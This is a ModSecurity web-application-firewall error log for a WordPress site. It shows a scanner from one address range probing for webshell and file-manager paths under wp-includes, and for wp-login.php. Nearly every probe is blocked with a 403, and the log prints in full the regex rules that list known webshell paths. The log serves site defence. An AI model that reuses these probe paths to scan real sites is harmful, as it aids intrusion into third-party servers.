[Fri Feb 27 11:05:39.381432 2026] [:error] [pid 62998:tid 63022] [client 64.64.108.40:43375] [client 64.64.108.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.40, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/languages/themes/wp-login.php"] [unique_id "aaEKA1QeueXZDUmoLok9ywAAARQ"]
[Fri Feb 27 11:05:40.937290 2026] [:error] [pid 62998:tid 63019] [client 64.64.108.40:43375] [client 64.64.108.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/index.php"] [unique_id "aaEKBFQeueXZDUmoLok96gAAARE"]
[Fri Feb 27 11:05:42.087606 2026] [:error] [pid 54101:tid 54128] [client 64.64.108.30:48925] [client 64.64.108.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaEKBlY5qgRktcYTGFvXtwAAAdQ"]
[Fri Feb 27 11:05:49.460642 2026] [:error] [pid 62998:tid 63026] [client 64.64.108.42:30875] [client 64.64.108.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aaEKDVQeueXZDUmoLok-ZAAAARg"]
[Fri Feb 27 11:05:51.775890 2026] [:error] [pid 54101:tid 54125] [client 64.64.108.58:21275] [client 64.64.108.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aaEKD1Y5qgRktcYTGFvYLgAAAdE"]
[Fri Feb 27 11:05:52.776546 2026] [:error] [pid 49306:tid 49310] [client 64.64.108.57:40393] [client 64.64.108.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/about.php"] [unique_id "aaEKEPnSUDZue59Px9tVEwAAAUI"]
[Fri Feb 27 11:05:58.183326 2026] [:error] [pid 54231:tid 54249] [client 64.64.108.45:62273] [client 64.64.108.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Content/index.php"] [unique_id "aaEKFuTvb5AeyJCdY7BjjQAAAE8"]
[Fri Feb 27 11:05:59.276432 2026] [:error] [pid 56075:tid 56100] [client 64.64.108.31:27935] [client 64.64.108.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aaEKF8KBhrfI6KNv9Rh04AAAABY"]
[Fri Feb 27 11:06:03.058824 2026] [:error] [pid 54103:tid 54179] [client 64.64.108.26:39435] [client 64.64.108.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/autoload_classmap.php"] [unique_id "aaEKG-vG4MPCmE0B2sAeDwAAAMg"]
[Fri Feb 27 11:06:06.281071 2026] [:error] [pid 54103:tid 54173] [client 64.64.108.32:26879] [client 64.64.108.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aaEKHuvG4MPCmE0B2sAeKwAAAMI"]
[Fri Feb 27 11:06:08.350680 2026] [:error] [pid 62998:tid 63023] [client 64.64.108.63:41173] [client 64.64.108.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aaEKIFQeueXZDUmoLok_UQAAARU"]
[Fri Feb 27 11:06:09.848530 2026] [:error] [pid 62998:tid 63022] [client 64.64.108.64:61793] [client 64.64.108.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/autoload_classmap.php"] [unique_id "aaEKIVQeueXZDUmoLok_bAAAARQ"]
[Fri Feb 27 11:06:12.551489 2026] [:error] [pid 54231:tid 54247] [client 64.64.108.21:40755] [client 64.64.108.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aaEKJOTvb5AeyJCdY7BkBAAAAE0"]
[Fri Feb 27 11:06:13.672294 2026] [:error] [pid 54231:tid 54238] [client 64.64.108.66:50331] [client 64.64.108.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/zmFM.php"] [unique_id "aaEKJeTvb5AeyJCdY7BkDwAAAEQ"]
[Fri Feb 27 11:06:15.238820 2026] [:error] [pid 49306:tid 49319] [client 64.64.108.48:53925] [client 64.64.108.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aaEKJ_nSUDZue59Px9tWfQAAAUs"]
[Fri Feb 27 11:06:17.846294 2026] [:error] [pid 54231:tid 54256] [client 64.64.108.23:36325] [client 64.64.108.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.23, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/wp-login.php"] [unique_id "aaEKKeTvb5AeyJCdY7BkWQAAAFY"]
[Fri Feb 27 11:06:21.631547 2026] [:error] [pid 54231:tid 54247] [client 64.64.108.23:36325] [client 64.64.108.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/wp-login.php"] [unique_id "aaEKLeTvb5AeyJCdY7BkkgAAAE0"]
[Fri Feb 27 11:06:22.577164 2026] [:error] [pid 49306:tid 49332] [client 64.64.108.40:31323] [client 64.64.108.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aaEKLvnSUDZue59Px9tW1gAAAVg"]
[Fri Feb 27 11:06:28.376180 2026] [:error] [pid 49306:tid 49323] [client 64.64.108.33:39555] [client 64.64.108.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.33, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/wp-login.php"] [unique_id "aaEKNPnSUDZue59Px9tXUAAAAU8"]
[Fri Feb 27 11:06:29.042579 2026] [:error] [pid 49306:tid 49319] [client 64.64.108.33:39555] [client 64.64.108.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aaEKNfnSUDZue59Px9tXXAAAAUs"]
[Fri Feb 27 11:06:29.988996 2026] [:error] [pid 62998:tid 63025] [client 64.64.108.20:54543] [client 64.64.108.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/network.php"] [unique_id "aaEKNVQeueXZDUmoLolAqAAAARc"]
[Fri Feb 27 11:06:30.991826 2026] [:error] [pid 56075:tid 56102] [client 64.64.108.15:33285] [client 64.64.108.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aaEKNsKBhrfI6KNv9Rh2ewAAABg"]
[Fri Feb 27 11:06:34.246649 2026] [:error] [pid 56075:tid 56097] [client 64.64.108.59:50373] [client 64.64.108.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/php-compat/autoload_classmap.php"] [unique_id "aaEKOsKBhrfI6KNv9Rh2tAAAABM"]
[Fri Feb 27 11:06:37.597023 2026] [:error] [pid 54102:tid 54164] [client 64.64.108.47:31865] [client 64.64.108.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aaEKPXi74D4fiYUm_Gf8jQAAAJQ"]
[Fri Feb 27 11:06:40.852497 2026] [:error] [pid 49306:tid 49311] [client 64.64.108.56:49553] [client 64.64.108.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aaEKQPnSUDZue59Px9tYUAAAAUM"]
[Fri Feb 27 11:06:43.560696 2026] [:error] [pid 56075:tid 56093] [client 64.64.108.22:23787] [client 64.64.108.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aaEKQ8KBhrfI6KNv9Rh3QgAAAA8"]
[Fri Feb 27 11:06:46.738717 2026] [:error] [pid 49306:tid 49327] [client 64.64.108.15:52331] [client 64.64.108.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aaEKRvnSUDZue59Px9tYjQAAAVM"]
[Fri Feb 27 11:06:49.460830 2026] [:error] [pid 54101:tid 54128] [client 64.64.108.57:39979] [client 64.64.108.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aaEKSVY5qgRktcYTGFvaFAAAAdQ"]
[Fri Feb 27 11:06:50.383991 2026] [:error] [pid 62998:tid 63009] [client 64.64.108.38:58463] [client 64.64.108.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/makeasmtp.php"] [unique_id "aaEKSlQeueXZDUmoLolB2wAAAQc"]
[Fri Feb 27 11:06:51.383945 2026] [:error] [pid 49306:tid 49310] [client 64.64.108.42:53953] [client 64.64.108.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aaEKS_nSUDZue59Px9tYxwAAAUI"]
[Fri Feb 27 11:06:52.852104 2026] [:error] [pid 52073:tid 52087] [client 64.64.108.25:21559] [client 64.64.108.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aaEKTIa650YPyxXVeRZPxAAAAYs"]
[Fri Feb 27 11:06:54.268877 2026] [:error] [pid 49306:tid 49312] [client 64.64.108.32:25617] [client 64.64.108.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aaEKTvnSUDZue59Px9tY7gAAAUQ"]
[Fri Feb 27 11:06:56.354128 2026] [:error] [pid 54101:tid 54129] [client 64.64.108.61:40975] [client 64.64.108.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aaEKUFY5qgRktcYTGFvaSgAAAdU"]
[Fri Feb 27 11:06:58.962872 2026] [:error] [pid 54103:tid 54173] [client 64.64.108.38:51823] [client 64.64.108.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aaEKUuvG4MPCmE0B2sAf_AAAAMI"]
[Fri Feb 27 11:07:01.759493 2026] [:error] [pid 62998:tid 63026] [client 64.64.108.49:65373] [client 64.64.108.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aaEKVVQeueXZDUmoLolCTwAAARg"]
[Fri Feb 27 11:07:03.964738 2026] [:error] [pid 56075:tid 56087] [client 64.64.108.65:51135] [client 64.64.108.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aaEKV8KBhrfI6KNv9Rh4GwAAAAo"]
[Fri Feb 27 11:07:07.146478 2026] [:error] [pid 49306:tid 49312] [client 64.64.108.27:61855] [client 64.64.108.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aaEKW_nSUDZue59Px9tZWAAAAUQ"]
[Fri Feb 27 11:07:12.473715 2026] [:error] [pid 54102:tid 54149] [client 64.64.108.31:60511] [client 64.64.108.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aaEKYHi74D4fiYUm_Gf-LQAAAIU"]
[Fri Feb 27 11:07:15.656975 2026] [:error] [pid 49306:tid 49317] [client 64.64.108.49:33067] [client 64.64.108.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/autoload_classmap.php"] [unique_id "aaEKY_nSUDZue59Px9tZwQAAAUk"]
[Fri Feb 27 11:07:16.768607 2026] [:error] [pid 54103:tid 54176] [client 64.64.108.64:21599] [client 64.64.108.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aaEKZOvG4MPCmE0B2sAgjQAAAMU"]
[Fri Feb 27 11:07:19.538491 2026] [:error] [pid 54101:tid 54127] [client 64.64.108.35:29817] [client 64.64.108.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aaEKZ1Y5qgRktcYTGFvbaAAAAdM"]
[Fri Feb 27 11:07:20.581243 2026] [:error] [pid 62998:tid 63018] [client 64.64.108.48:53085] [client 64.64.108.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aaEKaFQeueXZDUmoLolDgQAAARA"]
[Fri Feb 27 11:07:23.341046 2026] [:error] [pid 62998:tid 63018] [client 64.64.108.51:34787] [client 64.64.108.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aaEKa1QeueXZDUmoLolD7QAAARA"]
[Fri Feb 27 11:07:26.044449 2026] [:error] [pid 49306:tid 49329] [client 64.64.108.61:63671] [client 64.64.108.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aaEKbvnSUDZue59Px9taQwAAAVU"]
[Fri Feb 27 11:07:27.943747 2026] [:error] [pid 54231:tid 54236] [client 64.64.108.35:29527] [client 64.64.108.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.35, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aaEKb-Tvb5AeyJCdY7BmrgAAAEI"]
[Fri Feb 27 11:07:28.933129 2026] [:error] [pid 54231:tid 54239] [client 64.64.108.35:29527] [client 64.64.108.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aaEKcOTvb5AeyJCdY7BmtQAAAEU"]
[Fri Feb 27 11:07:30.095048 2026] [:error] [pid 52073:tid 52099] [client 64.64.108.58:46645] [client 64.64.108.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aaEKcoa650YPyxXVeRZRCAAAAZc"]
[Fri Feb 27 11:07:32.738094 2026] [:error] [pid 54101:tid 54130] [client 64.64.108.46:34437] [client 64.64.108.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/autoload_classmap.php"] [unique_id "aaEKdFY5qgRktcYTGFvbxgAAAdY"]
[Fri Feb 27 11:07:34.187754 2026] [:error] [pid 56075:tid 56083] [client 64.64.108.38:25795] [client 64.64.108.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "aaEKdsKBhrfI6KNv9Rh5PwAAAAY"]
[Fri Feb 27 11:07:40.953266 2026] [:error] [pid 54231:tid 54246] [client 64.64.108.15:22429] [client 64.64.108.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "aaEKfOTvb5AeyJCdY7BnIAAAAEw"]
[Fri Feb 27 11:07:47.253294 2026] [:error] [pid 49306:tid 49326] [client 64.64.108.40:59839] [client 64.64.108.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/mah.php"] [unique_id "aaEKg_nSUDZue59Px9tbZQAAAVI"]
